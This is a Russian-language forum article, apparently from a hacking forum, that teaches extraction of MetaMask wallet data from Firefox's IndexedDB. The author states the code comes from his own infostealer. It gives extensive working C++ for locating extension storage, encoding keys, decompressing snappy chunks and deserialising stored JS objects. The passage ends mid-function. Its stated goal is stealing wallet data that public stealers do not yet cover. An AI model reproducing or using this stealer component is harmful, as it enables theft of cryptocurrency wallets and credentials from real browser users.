Разбираем Gecko IndexedDB на примере MetaMask

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: d4x0n3l
Источник: https://xss.is


Итак, это моя вторая статья, и в этот раз она будет поинтереснее, я вам обещаю, и постраюсь всё разжевать по теме без воды.)

Честно говоря я долго думал о чем же написать статью, потому что все темы для интересных статей растягивались бы как минимум на статей 10, одним словом были огромными, поэтому сегодня мы остановимся на чем-нибудь попроще, а именно разберем внутреннее устройство гековского IndexedDB на примере экстейшена MetaMask и научимся вытаскивать оттуда интересующую нас инфу. Я даже предоставлю POC на плюсах (под линукс правда, но портануть его под винду тривиальная задача). Почему именно Gecko IndexedDB? Чтож, потому что я не видел ещё ни одного публичного стиллера, который бы это умел - все стиллеры, что я встречал, тырят только хромовские экстейшены. ¯\_(ツ)_/¯

Тут стоит оговориться, что саму имплементацию я вытащил из своего личного стиллера, который был очень завязан на моём сдк, и многие классы пришлось заменить на публичные, например мой LocalPtr пришлось заменить на std::shared_ptr, который крутит атомик каунтеры, а некоторые вообще выпилить, учитывайте это при написании поправок на то, что код будет (возможно) не таким быстрым, как хотелось бы (хотя 1 секунда в дебаг билде это всё равно довольно быстро).
Весь код был написан на C++ 20. Я не буду останавливаться на самом языке и подразумеваю, что читатель уже знаком с ним хотя бы на среднем уровне и понимает конструкции языка без проблем (в конце концов за языковые статьи да и в целом разжевывание языка и его тонкостей здесь не платят). Весь финальный код закомменчен на английском, там же будут ссылки на некоторые сурсы. В моём POC'е я не буду использовать thirdparty либы (кроме tl::expected, который начиная с C++ 23 можно будет заменить на std::expected), поэтому всё парсить мы будем вручную.

Ну что ж, поехали.

Ищем дату экстейшенов

Итак, сразу оговорюсь, в качестве гековского браузера у нас будет firefox, и я подразумеваю, что вы уже нашли профиль юзера в фаерфоксе, если нет, то это тривиальная задача, посмотрите исходник любого стиллера.
Прежде чем что-то пытаться извлечь из экстейшена, нужно сначала найти откуда извлекать - Gecko браузеры вроде firefox'а хранят экстейшены и их дату иначе, нежели браузеры на основе хромиума. Сами экстейшены мы трогать не будем, нас интересует только их дата, и чтобы извлечь дату, нам нужно сначала получить путь до неё. Для этого мы будем парсить файлик prefs.js, который находится в папке с профилем юзера. Этот файлик, как несложно догадаться, содержит юзерпрефы, включая установленные экстейшены и их локальные uuid'ы. В частности нам нужно найти преф extensions.webextensions.uuids и распарсить JSON объект формата key-value (да, это тривиальный объект). Далее нам нужно будет найти наш экстейшен в этой мапе по имени и запомнить его uuid, он нам будет нужен, чтобы построить путь до даты экстейшена... - точнее сначала до бд, которая хранит инфу о том, какая именно дата нам нужна, но об этом позже.
Сам путь выглядит следующим образом: путь_до_профиля + "/storage/default/moz-extension+++" + UUID + "^userContextId=4294967295/idb/"
Как вы могли заметить, число в userContextId у меня здесь равно 4294967295, на самом деле это число можно вытащить из containers.json, но оно всегда одинаковое для всех экстейшенов, поэтому это лишнее действие можно просто не производить.
В самой папке же находится sqlite бд, которая хранит инфу о том, в каком файлике хранится нужная нам дата. Сами файлы хранятся в папке files/ там же.
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Но прежде чем мы приступим к разбору содержимого бд, давайте для начала выполним шаги выше, итак, сам код:
Спойлер: код
C++: Скопировать в буфер обмена
Код:
inline tl::expected<TExtensionsMap, std::error_code> FirefoxHandler::ExtractExtensions(std::unordered_set<std::string_view> sExts) noexcept
{
    // Если такого файлика нет или мы не можем получить к нему доступ, то значит мы не сможем и получить список экстейшенов
    std::ifstream isPrefs(m_ProfilePath.generic_string() + "/prefs.js");
    if (!isPrefs.is_open())
        return tl::unexpected(std::make_error_code(std::errc::no_such_file_or_directory));

    // мы будем читать до тех пор, пока не найдем строку, начинающуюся с user_pref("extensions.webextensions.uuids"
    // в идеале нам нужно парсить сами аргументы user_pref
    for (std::string sLine; std::getline(isPrefs, sLine);)
    {
        if (!sLine.starts_with("user_pref(\"extensions.webextensions.uuids\""))
            continue;

        // Теперь нам нужно найти и извлечь сам JSON, парсить мы его будем вручную
        // Здесь мы просто находим начало и конец JSON'а
        // Задача для нас упрощается, потому что это очень простой JSON, это тупо key-value
        // Тем не менее в реальном проекте я рекомендую использовать полноценный парсер, чтобы избежать проблем с дабл-экранированными кавычками например
        // P.S. Кто не очень знаком с плюсами, std::string_view нужен, чтобы избежать лишнего копирования
        std::string_view svContent(sLine);
        auto szStart = svContent.find("\"{\\\"", 42);
        if (szStart == svContent.npos) break;
        auto szEnd = svContent.find("\\\"}\");", szStart + 3);
        if (szEnd == svContent.npos) break;

        svContent = svContent.substr(szStart + 2, szEnd - szStart);

        std::string_view svKey;
        bool bParseKey = true;
        std::unordered_map<std::string_view, std::string_view> mExtsUuids;

        while (true)
        {
            szStart = svContent.find("\\\"");
            szEnd = svContent.find("\\\"", szStart + 2);
            if (szStart == svContent.npos || szEnd == svContent.npos)
                break;
        
            auto str = svContent.substr(szStart + 2, szEnd - szStart - 2);
            svContent = svContent.substr(szEnd + 2);

            if (bParseKey) svKey = str;
            else mExtsUuids.emplace(svKey, str);
            bParseKey = !bParseKey;
        }

        // убираем из списка все экстейшены, которые мы не собираемся стиллить / парсить
        std::erase_if(mExtsUuids, [&sExts](const auto & ext) { return !sExts.contains(ext.first); });
        TExtensionsMap mResultMap;
        if (mExtsUuids.empty())
            return mResultMap;

        for (const auto & [svExtName, svExtUuid] : mExtsUuids)
        {
            auto sExtDBFullPath = m_ProfilePath.generic_string() + "/storage/default/moz-extension+++" + std::string(svExtUuid) + "^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite";
            std::ifstream isExtDB(sExtDBFullPath, std::ios::binary);

            if (!isExtDB.is_open())
                continue;

            isExtDB.seekg(0, std::ios_base::end);
            auto szTotalRead = isExtDB.tellg();
            isExtDB.seekg(0, std::ios_base::beg);
            if (szTotalRead == std::streampos(-1))
                continue;

            std::string sDBData;
            sDBData.resize(szTotalRead);
            isExtDB.read(sDBData.data(), szTotalRead);

            std::string sFilesPath = sExtDBFullPath.substr(0, sExtDBFullPath.size() - 6) + "files/";
            mResultMap.emplace(std::string(svExtName), GeckoIndexedDB<std::string>(SQLiteTableReader<std::string>(std::move(sDBData)), sFilesPath));
        }

        return std::move(mResultMap);
    }

    return tl::unexpected(std::make_error_code(std::errc::no_link));
}

Разбираем, что же там в БД

Итак, допустим мы нашли нужный нам экстейшен используя код выше, в случае с метамаском это webextension@metamask.io, и теперь хотим вытащить нужную нам инфу. Вся информация в гековском IndexedDB хранится по "ключам", у каждого "ключа" соответствующий ему файлик (как правило, об этом ниже), и для каждого такого ключа есть соответствующая запись в только что открытой нами базе данных, в которой этот ключ хранится в "закодированном" виде, и прежде чем мы сможем его оттуда прочитать, нам его по-хорошему бы раскодировать, но делать этого мы не будем, так как если мы пишем стиллер, то мы подразумеваем, что мы уже знаем, какие ключи у какого расширения используются, и поэтому мы можем сделать проще - закодировать наш ключ и просто искать по нему. Этот вариант лучше по той причине, что если мы парсим дату на сервере, то можем просто сделать SELECT, а не селектить всё и вручную перебирать все варианты, но в моём POC'е мы всё сделаем на стороне клиента, так как моя задача показать пример.

Сам алгоритм "кодирования" различается для разных типов данных, я предоставлю имплементации для других типов данных помимо строк, но на самом деле нам интересны только строки, итак, алгоритм для строк выглядит так:

1. Конвертируем нашу UTF-8 строку в UTF-32 (по факту в расширенный юникод)​
2. Пушим в качестве первого байта 0x30, что означает, что закодированная дата - строка​
3. Далее итерируемся по UTF-32 строке (у которой каждый символ 4 байта) и в зависимости от каждого символа:​
3.1 Если это UTF-16, то просто копируем символ​
3.2 Если это UTF-32, то часть сдвигаем на 10 бит вправо и прибавляем 0xD800, к оставшейся части (в начале) прибавляем 0xDC00, на выходе будем иметь 2 шорта​
4. Кодируем 1 или 2 шорта в "код поинт" (кол-во шортов будет зависеть от варианта)​
5. Код поинт кодируется следующим образом:​
5.1. Если это ASCII символ [0, 0x7F] (за исключением последнего), то к нему добавляется единица (бинарная кодировка вида 0xxxxxxx)​
5.2. Если это символ в диапазоне [0x7F, 0x3FFF + 0x7F], то к нему добавляется 0x8000-0x7F и кодируется в Big Endian (кодировка вида: 10xxxxxx xxxxxxxx)​
5.3. Если это символ в диапазоне [0x3FFF + 0x80, 0xFFFF], то значение смещается на 6 бит влево с добавлением префикса и кодируется в Big Endian (кодировка вида: 11xxxxxx xxxxxxxx xx000000)​

Спойлер: код
C++: Скопировать в буфер обмена
Код:
template <typename TSQLData>
template <typename TString>
inline std::string GeckoIndexedDB<TSQLData>::EncodeStringKey(TString && tKey) noexcept
{
    using TCharType = typename std::remove_cvref_t<TString>::value_type;
    std::u32string sToEncode;

    if constexpr (sizeof(TCharType) == 1)
    {
        try
        {
            std::wstring_convert<std::codecvt_utf8<char32_t>, char32_t> cCvt;
            sToEncode = cCvt.from_bytes(tKey.data());
        }
        catch (...) { return {}; }
    }
    else
    {
        sToEncode = std::u32string(tKey.begin(), tKey.end());
    }

    std::string sResult;
    sResult.reserve((sToEncode.size() * 4) + 2);
    sResult.push_back(static_cast<char>(GeckoIDBKeyType::String));

    for (char32_t c : sToEncode)
    {
        bool bTwoInts;
        std::uint16_t u1, u2;
        std::uint32_t u = static_cast<std::uint32_t>(c);
        if (u <= (std::numeric_limits<std::uint16_t>::max)())
        {
            u1 = static_cast<std::uint16_t>(u);
            bTwoInts = false;
        }
        else
        {
            u1 = static_cast<std::uint16_t>((u >> 10) | 0xD800);
            u2 = static_cast<std::uint16_t>((u & 0x3FF) | 0xDC00);
            bTwoInts = true;
        }

        EncodeCodePoint(sResult, u1);
        if (bTwoInts) EncodeCodePoint(sResult, u2);
    }

    return sResult;
}

template <typename TSQLData>
inline void GeckoIndexedDB<TSQLData>::EncodeCodePoint(std::string & sResult, std::uint16_t uPoint) noexcept
{
    if (uPoint < 0x7F) sResult.push_back(static_cast<char>(uPoint + 1));
    else if (uPoint < 0x407F)
    {
        uPoint += 0x7F81;
        sResult.push_back(static_cast<char>((uPoint >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPoint & 0xFF));
    }
    else
    {
        std::uint32_t uPointWide = static_cast<std::uint32_t>(uPoint) << 6; uPointWide |= UINT32_C(0x00C00000);
        sResult.push_back(static_cast<char>((uPointWide >> 16) & 0xFF));
        sResult.push_back(static_cast<char>((uPointWide >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPointWide & 0xFF));
    }
}

Теперь, когда мы знаем что искать, мы идем в саму бд и селектим из таблицы object_data "закодированный" key. В моём случае я буду использовать простой парсер бд, предназначенный в первую очередь для стиллера, и просто сравнивать ключи. Как только мы найдем нужный ключ, мы селектим file_ids, который должен начинаться с точки, если же заселекченное значение оказалось пустым, то тогда селектим data и парсим его - это значит что дата настолько маленькая, что firefox записал её в бд вместо того, чтобы создавать файлик. Если же оно не пусто, то тогда убираем точку и идём в папочку files/, значение после точки и есть название IndexedDB файла.

Спойлер: код
C++: Скопировать в буфер обмена
Код:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadKey(std::string_view svKey) noexcept
{
    if (!m_DBReader.ReadTable("object_data"))
        return nullptr;

    const std::size_t szTotalObjects = m_DBReader.RowsCount();
    if (!szTotalObjects)
        return nullptr;

    std::string sKeyEncoded = EncodeKey(svKey);
    for (std::size_t i = 0; i < szTotalObjects; i++)
    {
        std::string_view svEncodedKey = m_DBReader.template ReadEntry<std::string_view>(i, "key").value_or(std::string_view{});
        if (svEncodedKey.empty()) continue;
        if (svEncodedKey.size() != sKeyEncoded.size()) continue;
        if (std::memcmp(sKeyEncoded.data(), svEncodedKey.data(), svEncodedKey.size())) continue;

        std::string_view svFileId = m_DBReader.template ReadEntry<std::string_view>(i, "file_ids").value_or(std::string_view{});
        if (svFileId.empty())
        {
            std::string_view svBlob = m_DBReader.template ReadEntry<std::string_view>(i, "data").value_or(std::string_view{});
            if (svBlob.size()) return ReadKeyObjectsData(svBlob.data(), svBlob.size(), true);
        }
        else
        {
            if (svFileId.size() > 1 && svFileId.front() == '.')
            {
                svFileId = svFileId.substr(1);
                const std::string sFilePath = m_pIDBFilesPath.generic_string() + std::string(svFileId);
            
                std::ifstream isFile(sFilePath, std::ios::binary);
                if (isFile.is_open())
                {
                    isFile.seekg(0, std::ios::end);
                    auto szSize = isFile.tellg();
                    isFile.seekg(0, std::ios::beg);
                    if (szSize != std::streampos(-1))
                    {
                        std::string sOut;
                        sOut.resize(szSize);
                        isFile.read(sOut.data(), std::streamsize(szSize));
                        return ReadKeyObjectsData(sOut.data(), sOut.size(), false);
                    }
                }
            }
        }
        break;
    }

    return nullptr;
}

Разбираемся с сжатием гековского IndexedDB

А вот и начинается самая интересная часть, устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты, причем в его собственном гековском формате... Он на самом деле довольно простой, но чтобы его понять, когда-то мне пришлось немало времени провести ковыряя исходники firefox'а.

Итак, допустим что мы уже прочитали файл с датой с диска к нам в память, и прежде чем мы сможем распарсить саму дату, нам нужно её сначала раскомпрессить, то бишь разжать. IndexedDB использует snappy для компресии, это довольно простой гугловский алгоритм, мини-версия декомпрессора будет предоставлена вместе с POC'ом. Скомпрешенная дата разбивается на чанки и в таком виде записывается в файл, чанки эти не имеют отношения к самому snappy и нам их придется разобрать:

HEADER - 4 байта в Little Endian. Первый байт это тип чанка, оставшиеся 3 байта - его размер
DATA - N байт, дата чанка, определяется хедером

Типы чанков:
0xFF - чанк является идентификатором стрима, в частности обозначает, какой алгоритм сжатия используется, на данный момент это всегда снаппи (sNaPpY)
0x00 - чанк содержит сжатую дату в следующем формате:
CHECKSUM - 4 байта "замаскированной" чексуммы CRC32C, так же в Little Endian, об этом ниже​
DATA - N байт, сжатая дата​
0x01 - чанк содержит несжатую дату, формат такой же, как у чанка выше
0xFE - паддинг, просто скипаем
0x80-0xFD - чанк зарезервирован, так же просто скипаем его
0x** - все остальные чанки, не включенные в список выше, инвалидные, и если мы на такой натыкаемся, то это значит, что дата повреждена (или наш парсер устарел, на момент написания статьи он актуален)

Что касается маскированного CRC32C, то маска снимается так:
C++: Скопировать в буфер обмена
Код:
std::uint32_t uSum = uMaskedCheckSum - 0xA282EAD8;
return ((uSum >> 17) | (uSum << 15)) ^ 0xFFFFFFFF;

Собственно теперь, когда мы знаем, как выглядят чанки, мы можем начать их разжимать. Мы так же будем склеивать все чанки воедино во время разжатия и как только вся дата будет разжата, мы сможем приступить к парсингу уже самого IndexedDB:
Спойлер: код
C++: Скопировать в буфер обмена
Код:
const std::uint8_t * pChunkedData = reinterpret_cast<const std::uint8_t *>(pData);
std::size_t szDataLeft = szDataSize;
while (szDataLeft)
{
    if (szDataLeft < 4)
        return nullptr;

    const std::uint32_t uHeader = BytesToUint32LE(pChunkedData);
    const std::uint8_t uChunkType = uHeader & 0xFF;
    const std::uint32_t uChunkLength = uHeader >> 8;
    if (uChunkLength > szDataLeft - 4)
        return nullptr;

    szDataLeft -= 4;
    pChunkedData += 4;
    switch (uChunkType)
    {
        case 0xFF:
        {
            if (uChunkLength != 6)
                return nullptr;

            if (std::memcmp(pChunkedData, "sNaPpY", 6))
                return nullptr;

            szDataLeft -= uChunkLength;
            pChunkedData += 6;
            break;
        }
        case 0x00:
        {
            if (uChunkLength <= 4)
                return nullptr;

            SnappyDecompressor cDecomp(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            const std::size_t szUncompressedSize = cDecomp.GetUncompressedSize();
            if (!szUncompressedSize)
            {
                if (szDataLeft > 5)
                    return nullptr;
                szDataLeft -= 5;
                break;
            }

            const std::size_t szUncompressedDataStart = sUncompressed.size();
            sUncompressed.resize(sUncompressed.size() + szUncompressedSize);
            const std::size_t szTotalUncompressed = cDecomp.UncompressToBuffer(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize);
            if (!szTotalUncompressed || szTotalUncompressed != szUncompressedSize)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        case 0x01:
        {
            if (uChunkLength <= 4 || uChunkLength > 65536)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(pChunkedData + 4, uChunkLength - 4) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            sUncompressed.append(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        default:
        {
            if (uChunkType >= 0x80 && uChunkType <= 0xFE)
            {
                szDataLeft -= uChunkLength;
                pChunkedData += uChunkLength;
            }
            else return nullptr;
            break;
        }
    }
}

Разбираемся с форматом гековского IndexedDB

Итак, теперь у нас на руках разжатая сырая дата IndexedDB, и прежде чем её парсить, нам нужно разобраться с форматом, сначала конечно же идёт хедер, но он подчиняется тому же формату, что и все остальные "объекты" в файле:

HEADER_DATA - 4 байта
HEADER_TAG - 4 байта
DATA - ...

Сразу после хедера может идти transfer map:
(OPTIONAL) TRANSFER_MAP_DATA - 4 байта
(OPTIONAL) TRANSFER_MAP_TAG - 4 байта

Если мы встречаем transfer map, то это означает, что дата временная (или вообще уже стёрта) и смысла её стиллить нет.
Собственно нормальный хедер всегда имеет таг SCTAG_HEADER (0xFFF10000), а в дате лежит тип скоупа, их всего несколько:

  • SameProcess - Дата находится в процессе браузера (в памяти) и не может быть считана, мы вообще не должны никогда на него попасть, но на всякий случай хандлим этот кейс тоже
  • DifferentProcess - Дата трансферится между разными процессами и пишется на диск, то что нам нужно
  • DifferentProcessForIndexedDB - Тоже самое
  • Unassigned и UnknownDestination - Они нас не интересуют, мы считаем их инвалидными

Если скоуп не DifferentProcess и не DifferentProcessForIndexedDB, то мы просто выходим (мы либо не сможем её распарсить, либо она нам просто неинтересна), если же всё окей, то идём дальше и чекаем, является ли следующий объект трансфер мапой, если да, то всё так же выходим, если нет, то опять же идём дальше и парсим root объект, но прежде чем мы это сделаем, давайте разберем формат каждого объекта, который мы будем парсить:

Тривиальные (Int32 / Boolean / Null / Undefined):
DATA - 4 байта, это и есть само значение. Для null и undefined там нет значения
TAG - 4 байта, тип объекта

NumberObject:
PAD + TAG - 8 байт
VALUE - 8 байт в виде Little Endian, тип double

DateObject
:
PAD + TAG - 8 байт
VALUE - 8 байт, так же как и number, но хранит количество миллисекунд с начала юникс эпохи

BigInt:
DATA - 4 байта, старший бит хранит знак, остальные биты хранят длину инта, в Little Endian
TAG - 4 байта
VALUE - N байт, это и есть сам биг инт, мы его парсить не будем, так как для этого нужен отдельный класс, который я тащить в этот POC не стал, ибо он сильно завязан на моём сдк (и мне было лень его отвязывать). Вы можете найти публичный класс для этого или написать свой
PAD - 0-7 байт, нужен для алигнмента

String:
DATA - 4 байта, старший бит хранит кодировку (об этом ниже), остальные биты хранят длину строки, в Little Endian
TAG - 4 байта
VALUE - N байт, строка либо в кодировке Latin1 (если старший бит 1), либо в UTF-16 (если старший бит 0), без нулл-терминатора
PAD - 0-7 байт, нужен для алигнмента

RegexpObject:
DATA - 4 байта в Little Endian, хранит флаги регекса, о них позже
TAG - 4 байта
SECOND_DATA - 4 байта в Little Endian
SECOND_TAG - 4 байта
VALUE - N байт если SECOND_TAG был строкой, то парсится так же, как и строка
PAD - 0-7 байт, нужен для алигнмента

Что касается флагов:
1 << 0 = ignore case​
1 << 1 = global regex​
1 << 2 = multiline regex​
1 << 3 = sticky​
1 << 4 = unicode​
1 << 5 = dot all​
1 << 6 = has indices​
1 << 7 = unicode sets​

BackReferenceObject:
DATA - 4 байта в Little Endian, хранит порядковый номер объекта в качестве ссылки
TAG - 4 байта

Референс объекты (BooleanObject / StringObject / BigIntObject):
Любой объект имеет свой номер в референс массиве, в то время как не-объекты его не имеют. Это объекты по факту тоже самое, что и их не Object варианты, то бишь парсятся так же. И как вы уже поняли, эти объекты нужны лишь для бекреференса, чтобы на них можно было сослаться

Контейнеры (ArrayObject / ObjectObject / MapObject / SetObject):
DATA - 4 байта, там ничего интересного (раньше там ничего не было вообще, сейчас там размер объекта)
TAG - 4 байта
... - другие объекты
END_DATA - 4 байта
TAG - 4 байта, EndOfKeys (0xFFFF0013)

Каждый контейнер парсится по разному, для SetObject это просто массив из других объектов, для ArrayObject, ObjectObject и MapObject это массив следующего формата:
KEY_OBJECT - string / string object / int32
DATA_OBJECT - любой объект
...
KEY_OBJECT_N
DATA_OBJECT_N
END_KEYS_OBJECT - EndOfKeys

Остальное (SavedFrameObject / ArrayBufferObject / SharedArrayBufferObject / SharedWasmMemoryObject / etc.):
Остальные объекты нам не интересны и парсить их мы не будем. Честно говоря я ещё ниразу не встречался с ними и поэтому имплементировать их парсинг не стал. Очень сомневаюсь, что и вы с ними встретитесь, так как экстейшены как правило не сторят подобную дату в свой IndexedDB, поэтому пока что оставим их в покое. PS. Пока писал статью, заглянул в более свежие сорцы, некоторые индексы теперь deprecated!

Парсим IndexedDB

Итак, с форматом мы разобрались, теперь настало время распарсить всё это безобразие. Это наверное будет самая короткая часть моей статьи, и при этом самая длинная по коду.
Для начала мы распарсим рут объект, мы подразумеваем, что это должен быть какой-то контейнер, после этого мы создадим стек и запушим наш контейнер туда. Мы будем пушить все контейнеры в этот стак и парсить дальнейшие объекты в зависимости от топового контейнера. Если вы встретим EndOfKeys, то просто попим стек и продолжаем парсить предыдущий контейнер, если же стек пуст, то значит мы всё распарсили и время выходить. Чтож, давайте всё это имплементируем:

Спойлер: код
C++: Скопировать в буфер обмена
Код:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadObjects(ByteReader<std::endian::little> & bfRead) noexcept
{
    std::shared_ptr<GeckoIDBJSObject> pMainObj = std::make_shared<GeckoIDBJSObject>();
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vObjects;
    if (!ReadObject(bfRead, pMainObj, vObjects))
        return pMainObj;
 
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vContainerObjsList;
    std::stack<std::shared_ptr<GeckoIDBJSObject>> sObjStack;
    auto ObjectMaybeAppendToTheStack = [&](std::shared_ptr<GeckoIDBJSObject> & pObj) noexcept
    {
        switch (pObj->t)
        {
            case GeckoIDBObjType::ArrayObject: [[fallthrough]];
            case GeckoIDBObjType::ObjectObject: [[fallthrough]];
            case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
            case GeckoIDBObjType::MapObject: [[fallthrough]];
            case GeckoIDBObjType::SetObject:
                sObjStack.push(pObj);
                break;
            default: break;
        }
    };

    ObjectMaybeAppendToTheStack(pMainObj);
    while (!sObjStack.empty())
    {
        {
            std::size_t szPos = bfRead.GetPos();
            const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
            if (static_cast<GeckoIDBObjType>(GetPairTag(uPair)) == GeckoIDBObjType::EndOfKeys)
            {
                sObjStack.pop();
                continue;
            }

            bfRead.SetPos(szPos, false);
        }

        if (bfRead.IsOverflow())
            break;

        auto & pTopObj = sObjStack.top();
        std::shared_ptr<GeckoIDBJSObject> pKeyObj = std::make_shared<GeckoIDBJSObject>();
        ReadObject(bfRead, pKeyObj, vContainerObjsList);
        ObjectMaybeAppendToTheStack(pKeyObj);

        if (!pKeyObj->v.index())
        {
            switch (pTopObj->t)
            {
                case GeckoIDBObjType::ObjectObject: [[fallthrough]];
                case GeckoIDBObjType::MapObject: [[fallthrough]];
                case GeckoIDBObjType::SetObject: [[fallthrough]];
                case GeckoIDBObjType::ArrayObject: [[fallthrough]];
                case GeckoIDBObjType::SavedFrameObject: break;
                default:
                    sObjStack.pop();
                    continue;
            }
        }

        switch (pTopObj->t)
        {
            case GeckoIDBObjType::SetObject:
            {
                assert(pTopObj->v.index() == GeckoIDBJSObject::Set);
                std::get<GeckoIDBJSObject::Set>(pTopObj->v).insert(std::move(pKeyObj));
                break;
            }
            case GeckoIDBObjType::MapObject:
            case GeckoIDBObjType::ObjectObject:
            {
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);

                switch (pKeyObj->t)
                {
                    case GeckoIDBObjType::Int32: [[fallthrough]];
                    case GeckoIDBObjType::String: [[fallthrough]];
                    case GeckoIDBObjType::StringObject:
                    {
                        assert(pTopObj->v.index() == GeckoIDBJSObject::ObjectOrMap);
                        std::get<GeckoIDBJSObject::ObjectOrMap>(pTopObj->v).emplace(std::move(pKeyObj), std::move(pValueObj));
                        break;
                    }
                    default: assert(0); break;
                }
                break;
            }
            case GeckoIDBObjType::ArrayObject:
            {
                if (pKeyObj->t != GeckoIDBObjType::Int32 || std::get<GeckoIDBJSObject::Int>(pKeyObj->v) < 0)
                    break;

                assert(pTopObj->v.index() == GeckoIDBJSObject::Array);
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);
                std::get<GeckoIDBJSObject::Array>(pTopObj->v).push_back(std::move(pValueObj));
                break;
            }
            default: break;
        }
    }

    return pMainObj;
}

template <typename TSQLData>
inline bool GeckoIndexedDB<TSQLData>::ReadObject(ByteReader<std::endian::little> & bfRead, std::shared_ptr<GeckoIDBJSObject> & pObj, std::vector<std::shared_ptr<GeckoIDBJSObject>> & rObjects) noexcept
{
    const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
    const std::uint32_t uTag = GetPairTag(uPair);
    const GeckoIDBObjType eType = static_cast<GeckoIDBObjType>(uTag);

    auto & rObj = *pObj;
    rObj.t = eType;
    bool bObjectPushed = false;

    auto ConvertString = [](bool bIsLatin1, std::vector<std::uint8_t> & vStrData) noexcept -> std::string
    {
        std::string sStr;
        if (bIsLatin1)
        {
            for (auto iIt = vStrData.begin(); iIt != vStrData.end(); ++iIt)
            {
                std::uint8_t u = *iIt;
                if (u < 0x80) sStr.push_back(static_cast<char>(u));
                else
                {
                    sStr.push_back(static_cast<char>(0xC0 | (u >> 6)));
                    sStr.push_back(static_cast<char>(0x80 | (u & 0x3F)));
                }
            }
        }
        else
        {
            vStrData.push_back(0);
            const char16_t * pUTF16 = reinterpret_cast<const char16_t *>(vStrData.data());
            try
            {
                std::wstring_convert<std::codecvt_utf8<char16_t>, char16_t> cCvt;
                sStr = cCvt.to_bytes(pUTF16);
            }
            catch (...) { return {}; }
        }
        return sStr;
    };

    switch (eType)
    {
        case GeckoIDBObjType::Null: [[fallthrough]];
        case GeckoIDBObjType::Undefined:
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            break;
        case GeckoIDBObjType::Int32:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Int>(std::bit_cast<std::int32_t>(uData));
            break;
        }
        case GeckoIDBObjType::BooleanObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::Boolean:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Bool>(!!uData);
            break;
        }
        case GeckoIDBObjType::StringObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::String:
        {
            std::uint32_t uData = GetPairData(uPair);
            const bool bIsLatin1 = !!(uData & 0x80000000);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            if (!bIsLatin1) uLength *= 2;
            auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
            std::string sStr = ConvertString(bIsLatin1, vStr);
            rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sStr));
            uLength = 8 - ((uLength - 1) & 7) - 1;
            bfRead.SkipBytes(uLength);
            break;
        }
        case GeckoIDBObjType::NumberObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Double>(bfRead.template ReadTrivial<double>());
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BigIntObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::BigInt:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            bfRead.SkipBytes(uLength + (8 - ((uLength - 1) & 7) - 1));
            break;
        }
        case GeckoIDBObjType::DateObject:
        {
            const double dMillisecondsSinceEpoch = bfRead.template ReadTrivial<double>();
            rObj.v.emplace<GeckoIDBJSObject::Date>(std::chrono::system_clock::time_point(std::chrono::milliseconds(static_cast<std::uint64_t>(dMillisecondsSinceEpoch))));
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::RegexpObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::string sRegex;
            if (uData & (1 << 6)) sRegex.push_back('d');
            if (uData & (1 << 1)) sRegex.push_back('g');
            if (uData & (1 << 0)) sRegex.push_back('i');
            if (uData & (1 << 2)) sRegex.push_back('m');
